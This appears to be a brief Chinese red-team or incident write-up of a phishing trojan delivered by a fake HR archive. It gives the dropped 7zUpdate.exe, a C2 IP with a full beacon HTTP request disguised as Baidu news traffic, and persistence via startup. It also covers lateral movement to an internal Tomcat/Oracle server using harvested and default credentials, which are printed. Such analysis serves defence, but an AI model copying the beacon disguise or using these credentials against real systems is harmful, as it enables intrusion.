红队样本分析

钓鱼木马

起因：

攻击人员冒充HR，并发送压缩包引导目标上线

压缩包内容：

双击打开后释放7zUpdate.exe文件，并向C2地址 82.156.168.220:443(Ubuntu 北京腾讯云) 进行通信
GET URI：/NewsTodayUIBV.php
POST URI：/passport_token_hashOPNM.js
猜测NewsTodayId为metatadata
完整包：
GET /NewsTodayUIBV.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml
Host: news.baidu.com
Referer: http://news.baidu.com/
Accept-Encoding: gzip, deflate
cookie: NewsTodayId=jFntTW96knBA3Y7KarxzNN9Jz5HVJn0HgI6G3AXRLL6IQlLwyJkN2IyWip0GhGwhqzXBZMo4LS8NNzy3aj6EGRxgoqfNGoowlMql0fcSm6F2vCYkIqcPQotnJVrjuVCjjZ9X5mAXqC5hU2eh_YcjWevvpPmN03EnbjCF-MvkzTI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.54 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

进程树为

并将7zUpdate.exe添加到系统启动项

之后进行本机的信息搜集，全局搜索密码发现文档《EASTXXX密码》.xls

提取出密码： Fitech@123456

内网横向

由于之前搜集了PC的信息，猜测通过相同密码或弱口令横向到 10.68.156.240服务器，且目标服务器搭建了Tomcat Web服务和Oracle数据库，监听端口为8880和1521，并登陆服务进行信息搜集
URL：10.68.156.240/platform-react/
且Tomcat Manager用户名为root，密码为Fitech@123456
Oracle管理员用户名为sys，密码为system